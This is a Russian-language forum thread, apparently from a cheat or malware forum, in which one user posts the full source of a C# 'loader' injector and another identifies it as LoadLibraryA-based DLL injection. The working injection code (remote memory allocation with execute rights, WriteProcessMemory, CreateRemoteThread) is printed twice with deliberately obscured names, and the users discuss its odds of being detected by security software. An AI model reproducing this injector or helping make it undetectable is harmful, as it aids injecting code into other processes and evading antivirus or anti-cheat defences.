/del

[sasha257773]

Как определить какой тип инжектора у лоадера?
P.S дерьмом не поливать,если не можете помочь или объяснить не пишите.

 

[P45H3]

Если есть исходник. В чём проблема посмотреть как происходит инжект?

 

[sasha257773]

Если есть исходник. В чём проблема посмотреть как происходит инжект?

исходник есть,но какой ключевой код может сказать о типе инжектора?

 

[P45H3]

исходник есть,но какой ключевой код может сказать о типе инжектора?

Весь код инжектора)00))) Что за инжектор?

 

[sasha257773]

Весь код инжектора)00))) Что за инжектор?

он в лоадере,если есть желание помочь.Могу скинуть код.

 

[P45H3]

он в лоадере,если есть желание помочь.Могу скинуть код.

Кидай в тег [CODE] [/CODE]

 

[sasha257773]

Кидай в тег [CODE] [/CODE]

namespace injector1
{
    class injectdll1
    {
        #region Import

        [DllImport("kernel32")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, UIntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, Int32 dwProcessId);

        [DllImport("kernel32.dll")]
        public static extern Int32 CloseHandle(IntPtr hObject);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
        public static extern UIntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, string lpBuffer, UIntPtr nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
        internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

        public static Int32 pr0c3s(String proc)
        {
            Process[] ProcList;
            ProcList = Process.GetProcessesByName(proc);
            return ProcList[0].Id;
        }

        private static void Wr1t3(IntPtr hProcess, IntPtr AllocMem, String strDLLName, Int32 LenWrite)
        {
            IntPtr bytesout;
            WriteProcessMemory(hProcess, AllocMem, strDLLName, (UIntPtr)LenWrite, out bytesout);
        }

        private static void V1rtua1(IntPtr hProcess, IntPtr AllocMem)
        {
            VirtualFreeEx(hProcess, AllocMem, (UIntPtr)0, 0x8000);
        }

        public static IntPtr cr3at3(IntPtr hProcess, IntPtr AllocMem, UIntPtr x0C31)
        {
            IntPtr bytesout;
            return CreateRemoteThread(hProcess, (IntPtr)null, 0, x0C31, AllocMem, 0, out bytesout);
        }

        public static IntPtr a110c(IntPtr hProcess, uint LenWrite)
        {
            return VirtualAllocEx(hProcess, (IntPtr)null, (uint)LenWrite, 0x1000, 0x40);
        }

        public static UIntPtr pr0ad3()
        {
            return GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        }

        public static int wa1t(IntPtr th33d)
        {
            return WaitForSingleObject(th33d, 10 * 1000);
        }

        public static int clo3e(IntPtr th33d)
        {
            return CloseHandle(th33d);
        }
        public static IntPtr op1n(Int32 pr0id)
        {
            return OpenProcess(0x1F0FFF, 1, pr0id);
        }
        
        #endregion

        #region Inject
        public static void x0C30(IntPtr pr0c3, String tr3d11)
        {
            //IntPtr bytesout;
            Int32 lwr1t3 = tr3d11.Length + 1;
            IntPtr a11m3m = (IntPtr)a110c(pr0c3, (uint)lwr1t3);

            Wr1t3(pr0c3, a11m3m, tr3d11, lwr1t3);
            UIntPtr x0C31 = (UIntPtr)pr0ad3();

            if (x0C31 == null)
            {
                MessageBox.Show("Err!");
                return;
            }
            IntPtr th33d = (IntPtr)cr3at3(pr0c3, a11m3m, x0C31);
            if (th33d == null)
            {
                MessageBox.Show("Fail");
                return;
            }
            int res = wa1t(th33d);
            //|| Result == 0xFFFFFFFF
            if (res == 0x00000080L || res == 0x00000102L)
            {
                MessageBox.Show("Fail 2");
                if (th33d != null)
                {
                    clo3e(th33d);
                }
                return;
            }
            Thread.Sleep(1000);
            V1rtua1(pr0c3, a11m3m);
            if (th33d != null)
            {
                clo3e(th33d);
            }
            return;
        }
        #endregion

    }
}

 

[P45H3]

namespace injector1
{
    class injectdll1
    {
        #region Import

        [DllImport("kernel32")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, UIntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, Int32 dwProcessId);

        [DllImport("kernel32.dll")]
        public static extern Int32 CloseHandle(IntPtr hObject);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
        public static extern UIntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, string lpBuffer, UIntPtr nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
        internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

        public static Int32 pr0c3s(String proc)
        {
            Process[] ProcList;
            ProcList = Process.GetProcessesByName(proc);
            return ProcList[0].Id;
        }

        private static void Wr1t3(IntPtr hProcess, IntPtr AllocMem, String strDLLName, Int32 LenWrite)
        {
            IntPtr bytesout;
            WriteProcessMemory(hProcess, AllocMem, strDLLName, (UIntPtr)LenWrite, out bytesout);
        }

        private static void V1rtua1(IntPtr hProcess, IntPtr AllocMem)
        {
            VirtualFreeEx(hProcess, AllocMem, (UIntPtr)0, 0x8000);
        }

        public static IntPtr cr3at3(IntPtr hProcess, IntPtr AllocMem, UIntPtr x0C31)
        {
            IntPtr bytesout;
            return CreateRemoteThread(hProcess, (IntPtr)null, 0, x0C31, AllocMem, 0, out bytesout);
        }

        public static IntPtr a110c(IntPtr hProcess, uint LenWrite)
        {
            return VirtualAllocEx(hProcess, (IntPtr)null, (uint)LenWrite, 0x1000, 0x40);
        }

        public static UIntPtr pr0ad3()
        {
            return GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        }

        public static int wa1t(IntPtr th33d)
        {
            return WaitForSingleObject(th33d, 10 * 1000);
        }

        public static int clo3e(IntPtr th33d)
        {
            return CloseHandle(th33d);
        }
        public static IntPtr op1n(Int32 pr0id)
        {
            return OpenProcess(0x1F0FFF, 1, pr0id);
        }
       
        #endregion

        #region Inject
        public static void x0C30(IntPtr pr0c3, String tr3d11)
        {
            //IntPtr bytesout;
            Int32 lwr1t3 = tr3d11.Length + 1;
            IntPtr a11m3m = (IntPtr)a110c(pr0c3, (uint)lwr1t3);

            Wr1t3(pr0c3, a11m3m, tr3d11, lwr1t3);
            UIntPtr x0C31 = (UIntPtr)pr0ad3();

            if (x0C31 == null)
            {
                MessageBox.Show("Err!");
                return;
            }
            IntPtr th33d = (IntPtr)cr3at3(pr0c3, a11m3m, x0C31);
            if (th33d == null)
            {
                MessageBox.Show("Fail");
                return;
            }
            int res = wa1t(th33d);
            //|| Result == 0xFFFFFFFF
            if (res == 0x00000080L || res == 0x00000102L)
            {
                MessageBox.Show("Fail 2");
                if (th33d != null)
                {
                    clo3e(th33d);
                }
                return;
            }
            Thread.Sleep(1000);
            V1rtua1(pr0c3, a11m3m);
            if (th33d != null)
            {
                clo3e(th33d);
            }
            return;
        }
        #endregion

    }
}

"LoadLibraryA"

 

[sasha257773]

"LoadLibraryA"

шансы детекта?

 

[P45H3]

шансы детекта?

50/50

 

[sasha257773]

/del

 

[P45H3]

шансы детекта?

Если инжектор открыто получает дескриптор, протектит память и юзает LoadLibrary то его нельзя назвать андетект